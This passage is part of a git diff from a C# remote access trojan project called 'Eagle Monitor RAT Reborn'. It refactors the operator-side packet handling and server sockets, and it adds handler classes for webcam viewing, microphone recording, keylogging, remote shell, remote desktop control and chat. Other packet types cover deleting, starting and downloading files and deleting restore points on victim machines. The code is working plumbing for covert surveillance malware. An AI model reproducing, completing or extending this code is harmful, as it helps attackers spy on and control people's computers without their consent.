- lock (ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteWebCamHandler)
+ lock (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteWebCamHandler)
{
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteWebCamHandler.Dispose();
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteWebCamHandler = null;
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteWebCamHandler.Dispose();
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteWebCamHandler = null;
}
break;
case PacketType.AUDIO_RECORD_OFF:
- lock (ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteMicrophoneHandler)
+ lock (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteMicrophoneHandler)
{
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteMicrophoneHandler.Dispose();
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteMicrophoneHandler = null;
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteMicrophoneHandler.Dispose();
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteMicrophoneHandler = null;
}
break;
case PacketType.KEYLOG_OFF:
- lock (ClientHandler.ClientHandlersList[packet.baseIp].clientForm.keyloggerHandler)
+ lock (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.KeyloggerHandler)
{
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.keyloggerHandler.Dispose();
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.keyloggerHandler = null;
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.KeyloggerHandler.Dispose();
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.KeyloggerHandler = null;
}
break;
case PacketType.CHAT_OFF:
- lock (ClientHandler.ClientHandlersList[packet.baseIp].clientForm.chatHandler)
+ lock (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.ChatHandler)
{
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.chatHandler.Dispose();
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.chatHandler = null;
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.ChatHandler.Dispose();
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.ChatHandler = null;
}
break;
case PacketType.SHELL_STOP:
- lock (ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteShellHandler)
+ lock (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler)
{
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteShellHandler.Dispose();
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.remoteShellHandler = null;
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler.Dispose();
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler = null;
}
break;
+ }
- case PacketType.RM_MOUSE:
- break;
-
- case PacketType.RM_KEYBOARD:
- break;
-
- case PacketType.CHAT_ON:
- break;
+ if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null
+ && packet.PacketType != PacketType.CLOSE_CLIENT
+ && packet.PacketType != PacketType.UNINSTALL_CLOSE_CLIENT)
+ {
- case PacketType.AUDIO_RECORD_ON:
- break;
+ try//Label deleted when closin form
+ {
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.bytesSentlabel.Invoke((Action)(() =>
+ {
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.bytesSentlabel.Text = $"Bytes sent : {size}";
+ }));
+ }
+ catch {}
+ }
- case PacketType.KEYLOG_ON:
- break;
+ #region "Logs"
+ result = Program.mainForm.logsDataGridView.BeginInvoke((MethodInvoker)(() =>
+ {
+ int rowId = Program.mainForm.logsDataGridView.Rows.Add();
+ DataGridViewRow row = Program.mainForm.logsDataGridView.Rows[rowId];
+ row.Cells["Column11"].Value = packet.HWID;
+ row.Cells["Column12"].Value = packet.BaseIp;
+ row.Cells["Column13"].Value = packet.PacketType.ToString();
+ row.Cells["Column14"].Style.ForeColor = Color.FromArgb(66, 182, 245);
+ row.Cells["Column14"].Value = packet.PacketState;
+ row.Cells["Column15"].Value = packet.DatePacketStatus;
+ row.Cells["Column17"].Value = size;
- case PacketType.RC_CAPTURE_ON:
- break;
+ if (packet.PacketState == PacketState.NOT_SENT)
+ {
+ row.Cells["Column16"].Value = packet.Status;
+ return;
+ }
+ else
+ {
+ switch (packet.PacketType)
+ {
+ case PacketType.FM_DOWNLOAD_FILE:
+ row.Cells["Column16"].Value = ((DownloadFilePacket)packet).fileName;
+ break;
- case PacketType.RM_VIEW_ON:
- break;
+ case PacketType.FM_DELETE_FILE:
+ row.Cells["Column16"].Value = ((DeleteFilePacket)packet).path;
+ break;
- case PacketType.SHELL_START:
- break;
+ case PacketType.FM_START_FILE:
+ row.Cells["Column16"].Value = ((StartFilePacket)packet).filePath;
+ break;
- case PacketType.SHELL_COMMAND:
- break;
+ case PacketType.FM_GET_FILES_AND_DIRS:
+ row.Cells["Column16"].Value = ((FileManagerPacket)packet).path;
+ break;
- default:
- if (ClientHandler.ClientHandlersList[packet.baseIp].clientForm != null && packet.packetType != PacketType.CLOSE_CLIENT && packet.packetType != PacketType.UNINSTALL_CLOSE_CLIENT)
- {
- result = ClientHandler.ClientHandlersList[packet.baseIp].clientForm.bytesSentlabel.BeginInvoke((Action)(() =>
- {
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.bytesSentlabel.Text = $"Bytes sent : {size}";
- }));
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.bytesSentlabel.EndInvoke(result);
+ case PacketType.SHELL_COMMAND:
+ row.Cells["Column16"].Value = ((NewCommandShellSessionPacket)packet).shellCommand;
+ break;
}
- break;
- }
+ }
+ Program.mainForm.logsDataGridView.ClearSelection();
+ Program.mainForm.logsDataGridView.CurrentCell = null;
+
+ }));
+ Program.mainForm.logsDataGridView.EndInvoke(result);
+ #endregion
packet = null;
}
-
+ #endregion
+ #region "Cleaning Memory"
public void Dispose()
{
- if (socket != null)
- {
- socket.Shutdown(SocketShutdown.Both);
- socket.Close();
- socket.Dispose();
- socket = null;
- }
+ Socket?.Shutdown(SocketShutdown.Both);
+ Socket?.Close();
+ Socket?.Dispose();
+ Socket = null;
if (ClientHandlersList.ContainsKey(this.IP))
ClientHandlersList.Remove(this.IP);
- if (this.clientRow != null)
+ Controls.Utils.SetTotalClients();
+
+ if (this.ClientRow != null)
{
lock (Program.mainForm.clientDataGridView)
{
- Program.mainForm.clientDataGridView.BeginInvoke((MethodInvoker)(() =>
+ Program.mainForm.clientDataGridView.Invoke((MethodInvoker)(() =>
{
- Program.mainForm.clientDataGridView.Rows.Remove(this.clientRow);
- Controls.Utils.CloseForm(this.clientForm);
- /*foreach (KeyValuePair file in downloadForms)
- {
- file.Value.clientHandler.Dispose();
- file.Value.Close();
- }
- downloadForms.Clear();*/
+ Program.mainForm.clientDataGridView.Rows.Remove(this.ClientRow);
}));
}
+ Controls.Utils.CloseForm(this.ClientForm);
+ this.ClientForm?.Dispose();
+ this.ClientForm = null;
+ GC.SuppressFinalize(this);
}
Miscellaneous.CleanMemory();
}
+ #endregion
}
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Network/NetworkBackup.zip b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/NetworkBackup.zip
new file mode 100644
index 00000000..9e462f95
Binary files /dev/null and b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/NetworkBackup.zip differ
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Network/PacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/PacketHandler.cs
index 759a0501..bc3389ec 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/Network/PacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/PacketHandler.cs
@@ -14,24 +14,41 @@ namespace Eagle_Monitor_RAT_Reborn.Network
{
internal class PacketHandler
{
- private delegate IPacket PacketParser(IPacket packet, ClientHandler clientHandler);
+ static PacketHandler()
+ {
+ packetParser = new PacketHandle(HandlePacket);
+ }
+
+ private delegate IPacket PacketHandle(IPacket packet, ClientHandler clientHandler);
- private readonly PacketParser packetParser;
+ private static readonly PacketHandle packetParser;
- internal PacketHandler(IPacket packet, ClientHandler clientHandler)
+ internal static void StartHandlePacket(IPacket packet, ClientHandler clientHandler)
{
- packetParser = new PacketParser(ParsePacket);
- packetParser.BeginInvoke(packet, clientHandler, new AsyncCallback(EndPacketRead), null);
+ packetParser.BeginInvoke(packet, clientHandler, new AsyncCallback(EndHandlePacket), clientHandler);
}
- private void EndPacketRead(IAsyncResult ar)
+ private static void EndHandlePacket(IAsyncResult ar)
{
IPacket packet = packetParser.EndInvoke(ar);
+ ClientHandler clientHandler = (ClientHandler)ar.AsyncState;
+ IAsyncResult result;
+ string size = Misc.Utils.Numeric2Bytes(packet.PacketSize);
+
+ if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null && ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.bytesReceivedLabel != null)
+ {
+ result = ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.bytesReceivedLabel.BeginInvoke((Action)(() =>
+ {
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.bytesReceivedLabel.Text = $"Bytes received : {size}";
+ }));
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.bytesReceivedLabel.EndInvoke(result);
+ }
- switch (packet.packetType)
+ switch (packet.PacketType)
{
case PacketType.CONNECTED:
- ClientHandler.ClientHandlersList[packet.baseIp].SendPacket(new BaseIpPacket(packet.baseIp));
+ ClientHandler.StartSendData(clientHandler, new BaseIpPacket(packet.BaseIp));
+ //ClientHandler.ClientHandlersList[packet.baseIp].SendPacket(new BaseIpPacket(packet.baseIp));
break;
case PacketType.RC_CAPTURE_ON:
@@ -46,92 +63,80 @@ private void EndPacketRead(IAsyncResult ar)
case PacketType.SHELL_COMMAND:
return;
- /*case PacketType.SHELL_START:
- return;*/
- }
-
- string size = Misc.Utils.Numeric2Bytes(packet.packetSize);
-
- IAsyncResult result = Program.mainForm.logsDataGridView.BeginInvoke((MethodInvoker)(() =>
- {
- int rowId = Program.mainForm.logsDataGridView.Rows.Add();
- DataGridViewRow row = Program.mainForm.logsDataGridView.Rows[rowId];
- row.Cells["Column11"].Value = packet.HWID;
- row.Cells["Column12"].Value = packet.baseIp;
- row.Cells["Column13"].Value = packet.packetType.ToString();
- row.Cells["Column14"].Style.ForeColor = Color.FromArgb(197, 66, 245);
- row.Cells["Column14"].Value = packet.packetState;
- row.Cells["Column15"].Value = packet.datePacketStatus;
- row.Cells["Column17"].Value = size;
-
- switch (packet.packetType)
- {
- case PacketType.FM_DOWNLOAD_FILE:
- row.Cells["Column16"].Value = ((DownloadFilePacket)packet).fileName;
- break;
-
- case PacketType.FM_DELETE_FILE:
- /* if (((DeleteFilePacket)packet).deleted == true)
- row.Cells["Column16"].Value = Miscellaneous.SplitPath(((DeleteFilePacket)packet).path) + " DELETED";
- else
- row.Cells["Column16"].Value = Miscellaneous.SplitPath(((DeleteFilePacket)packet).path) + " NOT DELETED";*/
- break;
-
- case PacketType.FM_START_FILE:
- row.Cells["Column16"].Value = ((StartFilePacket)packet).filePath;
- break;
-
- case PacketType.FM_GET_FILES_AND_DIRS:
- row.Cells["Column16"].Value = ((FileManagerPacket)packet).path;
- break;
-
- case PacketType.CONNECTED:
- row.Cells["Column16"].Value = ClientHandler.ClientHandlersList[packet.baseIp].clientStatus;
- break;
-
- case PacketType.FM_SHORTCUT_PATH:
- row.Cells["Column16"].Value = ((ShortCutFileManagersPacket)packet).shortCuts;
- break;
-
- case PacketType.FM_UPLOAD_FILE:
- /* if (((UploadFilePacket)packet).uploaded == true)
- row.Cells["Column16"].Value = Miscellaneous.SplitPath(((UploadFilePacket)packet).path) + " UPLOADED";
- else
- row.Cells["Column16"].Value = Miscellaneous.SplitPath(((UploadFilePacket)packet).path) + " NOT UPLOADED";*/
- break;
-
- case PacketType.CHAT_ON:
- row.Cells["Column16"].Value = ((RemoteChatPacket)packet).msg;
- break;
-
- case PacketType.UAC_DELETE_RESTORE_POINT:
- if(((DeleteRestorePointPacket)packet).deleted == true)
- row.Cells["Column16"].Value = ((DeleteRestorePointPacket)packet).index.ToString() + " DELETED";
- else
- row.Cells["Column16"].Value = ((DeleteRestorePointPacket)packet).index.ToString() + " NOT DELETED";
- break;
- }
- Program.mainForm.logsDataGridView.ClearSelection();
- Program.mainForm.logsDataGridView.CurrentCell = null;
- }));
-
- Program.mainForm.logsDataGridView.EndInvoke(result);
-
- if (ClientHandler.ClientHandlersList[packet.baseIp].clientForm != null)
- {
- result = ClientHandler.ClientHandlersList[packet.baseIp].clientForm.bytesReceivedLabel.BeginInvoke((Action)(() =>
- {
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.bytesReceivedLabel.Text = $"Bytes received : {size}";
- }));
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.bytesReceivedLabel.EndInvoke(result);
+ default:
+ result = Program.mainForm.logsDataGridView.BeginInvoke((MethodInvoker)(() =>
+ {
+ int rowId = Program.mainForm.logsDataGridView.Rows.Add();
+ DataGridViewRow row = Program.mainForm.logsDataGridView.Rows[rowId];
+ row.Cells["Column11"].Value = packet.HWID;
+ row.Cells["Column12"].Value = packet.BaseIp;
+ row.Cells["Column13"].Value = packet.PacketType.ToString();
+ row.Cells["Column14"].Style.ForeColor = Color.FromArgb(197, 66, 245);
+ row.Cells["Column14"].Value = packet.PacketState;
+ row.Cells["Column15"].Value = packet.DatePacketStatus;
+ row.Cells["Column17"].Value = size;
+
+ switch (packet.PacketType)
+ {
+ case PacketType.FM_DOWNLOAD_FILE:
+ row.Cells["Column16"].Value = ((DownloadFilePacket)packet).fileName;
+ break;
+
+ case PacketType.FM_DELETE_FILE:
+ /* if (((DeleteFilePacket)packet).deleted == true)
+ row.Cells["Column16"].Value = Miscellaneous.SplitPath(((DeleteFilePacket)packet).path) + " DELETED";
+ else
+ row.Cells["Column16"].Value = Miscellaneous.SplitPath(((DeleteFilePacket)packet).path) + " NOT DELETED";*/
+ break;
+
+ case PacketType.FM_START_FILE:
+ row.Cells["Column16"].Value = ((StartFilePacket)packet).filePath;
+ break;
+
+ case PacketType.FM_GET_FILES_AND_DIRS:
+ row.Cells["Column16"].Value = ((FileManagerPacket)packet).path;
+ break;
+
+ case PacketType.CONNECTED:
+ row.Cells["Column16"].Value = ClientHandler.ClientHandlersList[packet.BaseIp].ClientStatus;
+ break;
+
+ case PacketType.FM_SHORTCUT_PATH:
+ row.Cells["Column16"].Value = ((ShortCutFileManagersPacket)packet).shortCuts;
+ break;
+
+ case PacketType.FM_UPLOAD_FILE:
+ /* if (((UploadFilePacket)packet).uploaded == true)
+ row.Cells["Column16"].Value = Miscellaneous.SplitPath(((UploadFilePacket)packet).path) + " UPLOADED";
+ else
+ row.Cells["Column16"].Value = Miscellaneous.SplitPath(((UploadFilePacket)packet).path) + " NOT UPLOADED";*/
+ break;
+
+ case PacketType.CHAT_ON:
+ row.Cells["Column16"].Value = ((RemoteChatPacket)packet).msg;
+ break;
+
+ case PacketType.UAC_DELETE_RESTORE_POINT:
+ if (((DeleteRestorePointPacket)packet).deleted == true)
+ row.Cells["Column16"].Value = ((DeleteRestorePointPacket)packet).index.ToString() + " DELETED";
+ else
+ row.Cells["Column16"].Value = ((DeleteRestorePointPacket)packet).index.ToString() + " NOT DELETED";
+ break;
+ }
+ Program.mainForm.logsDataGridView.ClearSelection();
+ Program.mainForm.logsDataGridView.CurrentCell = null;
+ }));
+
+ Program.mainForm.logsDataGridView.EndInvoke(result);
+ break;
}
packet = null;
}
- private IPacket ParsePacket(IPacket packet, ClientHandler clientHandler)
+ private static IPacket HandlePacket(IPacket packet, ClientHandler clientHandler)
{
- switch (packet.packetType)
+ switch (packet.PacketType)
{
case PacketType.CONNECTED:
new ConnectedPacketHandler((ConnectedPacket)packet, clientHandler);
@@ -273,6 +278,11 @@ private IPacket ParsePacket(IPacket packet, ClientHandler clientHandler)
new RemoteStartShellPacketHandler(startShellSessionPacket);
break;
+ case PacketType.MISC_NETWORK_INFORMATION:
+ NetworkInformationPacket networkInformationPacket = (NetworkInformationPacket)packet;
+ new NetworkInformationPacketHandler(networkInformationPacket);
+ break;
+
default:
break;
/*
@@ -284,8 +294,8 @@ private IPacket ParsePacket(IPacket packet, ClientHandler clientHandler)
*/
}
- packet.packetState = PacketState.RECEIVED;
- packet.datePacketStatus = DateTime.Now.ToString();
+ packet.PacketState = PacketState.RECEIVED;
+ packet.DatePacketStatus = DateTime.Now.ToString();
return packet;
}
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Network/ServerHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/ServerHandler.cs
index 244ed892..721ec7b9 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/Network/ServerHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/ServerHandler.cs
@@ -13,77 +13,71 @@ namespace Eagle_Monitor_RAT_Reborn.Network
{
internal class ServerHandler : IDisposable
{
- internal readonly static List Servers;
- internal static int CurrentServersNumber { get { return Servers.Count; } }
- internal static bool stopServer { get; set; }
-
static ServerHandler()
{
- stopServer = false;
+ StopServer = false;
Servers = new List();
+ acceptClientAsync = new AcceptClientAsync(AcceptClient);
}
- private int serverPort { get; set; }
- internal Socket socket;
+ internal readonly static List Servers;
+ internal static int CurrentServersNumber { get { return Servers.Count; } }
+ internal static bool StopServer { get; set; }
- private delegate ClientHandler AcceptClient();
- private readonly AcceptClient acceptClient;
+ private static readonly AcceptClientAsync acceptClientAsync;
+ private delegate ClientHandler AcceptClientAsync(ServerHandler serverHandler);
- internal ServerHandler() : base()
- {
- Servers.Add(this);
- acceptClient = new AcceptClient(BeginClientAccepted);
- }
+ #region "Non Static"
+ private int ServerPort { get; set; }
+ internal Socket socket;
- internal bool Listen(int port)
+ internal ServerHandler(int port) : base()
{
- serverPort = port;
+ Servers.Add(this);
+ ServerPort = port;
IPEndPoint endPoint = new IPEndPoint(IPAddress.Any, port);
socket = new Socket(endPoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
try
{
socket.Bind(endPoint);
socket.Listen(int.MaxValue);
- AcceptClientAsync();
- return true;
+ StartAcceptClient(this);
}
catch (Exception ex)
{
MessageBox.Show(ex.ToString());
- return false;
}
}
+ #endregion
- internal void AcceptClientAsync()
+ private static void StartAcceptClient(ServerHandler serverHandler)
{
- acceptClient.BeginInvoke(new AsyncCallback(EndAcceptedClient), null);
+ acceptClientAsync.BeginInvoke(serverHandler, new AsyncCallback(EndAcceptClient), serverHandler);
}
- private ClientHandler BeginClientAccepted()
+ private static ClientHandler AcceptClient(ServerHandler serverHandler)
{
- if(!stopServer)
- return new ClientHandler(socket.Accept(), this.serverPort);
+ if(!StopServer)
+ return new ClientHandler(serverHandler.socket.Accept(), serverHandler.ServerPort);
else
return null;
}
- private void EndAcceptedClient(IAsyncResult ar)
+ private static void EndAcceptClient(IAsyncResult ar)
{
- try
- {
- acceptClient.EndInvoke(ar);
-
- if (!stopServer)
- AcceptClientAsync();
- }
- catch { this.Dispose(); }
+ acceptClientAsync.EndInvoke(ar);
+ ServerHandler serverHandler = (ServerHandler)ar.AsyncState;
+ if (!StopServer)
+ ServerHandler.StartAcceptClient(serverHandler);
+ else
+ serverHandler.Dispose();
}
public void Dispose()
{
- socket.Close();
- if (socket != null)
- socket.Dispose();
+ this.socket.Shutdown(SocketShutdown.Both);
+ this.socket.Close();
+ this.socket?.Dispose();
}
}
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/ChatHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/ChatHandler.cs
new file mode 100644
index 00000000..d7cfdb22
--- /dev/null
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/ChatHandler.cs
@@ -0,0 +1,26 @@
+using System;
+
+/*
+|| AUTHOR Arsium ||
+|| github : https://github.com/arsium ||
+*/
+
+namespace Eagle_Monitor_RAT_Reborn.Network
+{
+ internal class ChatHandler : IDisposable
+ {
+ internal ClientHandler ClientHandler { get; set; }
+ internal string BaseIp { get; set; }
+
+ public void Dispose()
+ {
+ ClientHandler.Socket.Close();
+ if (ClientHandler.Socket != null)
+ {
+ ClientHandler.Socket.Dispose();
+ ClientHandler.Socket = null;
+ ClientHandler = null;
+ }
+ }
+ }
+}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/KeyloggerHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/KeyloggerHandler.cs
new file mode 100644
index 00000000..44d9cd5c
--- /dev/null
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/KeyloggerHandler.cs
@@ -0,0 +1,26 @@
+using System;
+
+/*
+|| AUTHOR Arsium ||
+|| github : https://github.com/arsium ||
+*/
+
+namespace Eagle_Monitor_RAT_Reborn.Network
+{
+ internal class KeyloggerHandler : IDisposable
+ {
+ internal ClientHandler ClientHandler { get; set; }
+ internal string BaseIp { get; set; }
+
+ public void Dispose()
+ {
+ ClientHandler.Socket.Close();
+ if (ClientHandler.Socket != null)
+ {
+ ClientHandler.Socket.Dispose();
+ ClientHandler.Socket = null;
+ ClientHandler = null;
+ }
+ }
+ }
+}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteDesktopHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteDesktopHandler.cs
new file mode 100644
index 00000000..d71f5014
--- /dev/null
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteDesktopHandler.cs
@@ -0,0 +1,31 @@
+using System;
+
+/*
+|| AUTHOR Arsium ||
+|| github : https://github.com/arsium ||
+*/
+
+namespace Eagle_Monitor_RAT_Reborn.Network
+{
+ internal class RemoteDesktopHandler : IDisposable
+ {
+ internal ClientHandler ClientHandler { get; set; }
+ internal bool EnabledMouse { get; set; }
+ internal bool EnableKeyboard { get; set; }
+ internal bool HasAlreadyConnected { get; set; }
+ internal int VResol { get; set; }
+ internal int HResol { get; set; }
+ internal string BaseIp { get; set; }
+
+ public void Dispose()
+ {
+ ClientHandler.Socket.Close();
+ if (ClientHandler.Socket != null)
+ {
+ ClientHandler.Socket.Dispose();
+ ClientHandler.Socket = null;
+ ClientHandler = null;
+ }
+ }
+ }
+}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteMicrophoneHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteMicrophoneHandler.cs
new file mode 100644
index 00000000..58f5c2a8
--- /dev/null
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteMicrophoneHandler.cs
@@ -0,0 +1,40 @@
+using NAudio.Wave;
+using System;
+
+/*
+|| AUTHOR Arsium ||
+|| github : https://github.com/arsium ||
+*/
+
+namespace Eagle_Monitor_RAT_Reborn.Network
+{
+ internal class RemoteMicrophoneHandler : IDisposable
+ {
+ internal RemoteMicrophoneHandler()
+ {
+ WaveOut = new WaveOut();
+ BufferedWaveProvider = new BufferedWaveProvider(new WaveFormat(44100, 1));
+ }
+ internal ClientHandler ClientHandler { get; set; }
+ internal WaveOut WaveOut { get; set; }
+ internal BufferedWaveProvider BufferedWaveProvider { get; set; }
+ internal string CurrentFileName { get; set; }
+ internal int CurrentOffset { get; set; }
+ internal WaveFileWriter WaveFileWriter { get; set; }
+ internal bool HasAlreadyConnected { get; set; }
+ public void Dispose()
+ {
+ ClientHandler.Socket.Close();
+ if (ClientHandler.Socket != null)
+ {
+ ClientHandler.Socket.Dispose();
+ ClientHandler.Socket = null;
+ ClientHandler = null;
+ }
+
+ this.WaveFileWriter.Close();
+ this.BufferedWaveProvider.ClearBuffer();
+ this.CurrentFileName = "";
+ }
+ }
+}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteShellHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteShellHandler.cs
new file mode 100644
index 00000000..c320f788
--- /dev/null
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteShellHandler.cs
@@ -0,0 +1,26 @@
+using System;
+
+/*
+|| AUTHOR Arsium ||
+|| github : https://github.com/arsium ||
+*/
+
+namespace Eagle_Monitor_RAT_Reborn.Network
+{
+ internal class RemoteShellHandler : IDisposable
+ {
+ internal ClientHandler ClientHandler { get; set; }
+ internal string BaseIp { get; set; }
+
+ public void Dispose()
+ {
+ ClientHandler.Socket.Close();
+ if (ClientHandler.Socket != null)
+ {
+ ClientHandler.Socket.Dispose();
+ ClientHandler.Socket = null;
+ ClientHandler = null;
+ }
+ }
+ }
+}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteWebCamHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteWebCamHandler.cs
new file mode 100644
index 00000000..142eed59
--- /dev/null
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteWebCamHandler.cs
@@ -0,0 +1,29 @@
+using System;
+
+/*
+|| AUTHOR Arsium ||
+|| github : https://github.com/arsium ||
+*/
+
+namespace Eagle_Monitor_RAT_Reborn.Network
+{
+ internal class RemoteWebCamHandler : IDisposable
+ {
+ internal ClientHandler ClientHandler { get; set; }
+ internal bool HasAlreadyConnected { get; set; }
+ //internal int vResol { get; set; }
+ //internal int hResol { get; set; }
+ internal string BaseIp { get; set; }
+
+ public void Dispose()
+ {
+ ClientHandler.Socket.Close();
+ if (ClientHandler.Socket != null)
+ {
+ ClientHandler.Socket.Dispose();
+ ClientHandler.Socket = null;
+ ClientHandler = null;
+ }
+ }
+ }
+}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Audio/RemoteAudioCapturePacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Audio/RemoteAudioCapturePacketHandler.cs
index 2dcb814b..d55c005b 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Audio/RemoteAudioCapturePacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Audio/RemoteAudioCapturePacketHandler.cs
@@ -13,53 +13,31 @@ internal class RemoteAudioCapturePacketHandler
{
public RemoteAudioCapturePacketHandler(RemoteAudioCapturePacket remoteAudioCapturePacket) : base()//, ClientHandler clientHandler)
{
- try
+ if (ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm != null)
{
-
- if (ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.hasAlreadyConnected == false)
- {
- ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.currentFileName = ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientPath + "\\Audio Records\\" + Misc.Utils.DateFormater() + ".wav";
- ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.currentOffset = 0;
- ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.waveFileWriter = new WaveFileWriter(ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.currentFileName, new WaveFormat(44100, 1));
- }
- //currentOffset
- ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.hasAlreadyConnected = true;
-
- ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.bufferedWaveProvider.AddSamples(remoteAudioCapturePacket.audioCapture, 0, remoteAudioCapturePacket.bytesRecorded);
-
- ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.waveFileWriter.Write(remoteAudioCapturePacket.audioCapture, 0, remoteAudioCapturePacket.bytesRecorded);
-
- ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.waveFileWriter.Flush();
-
- ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.currentOffset += remoteAudioCapturePacket.bytesRecorded;
- }
- catch { }
- return;
- /*new Thread(() => {
try
{
- if (ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.hasAlreadyConnected == false)
+ if (ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.HasAlreadyConnected == false)
{
- ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.currentFileName = ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientPath + "\\Audio Records\\" + Misc.Utils.DateFormater() + ".wav";
- ClientHandler.ClientHandlersList[remoteAudioCapturePacket.baseIp].clientForm.remoteMicrophoneHandler.currentOffset = 0;
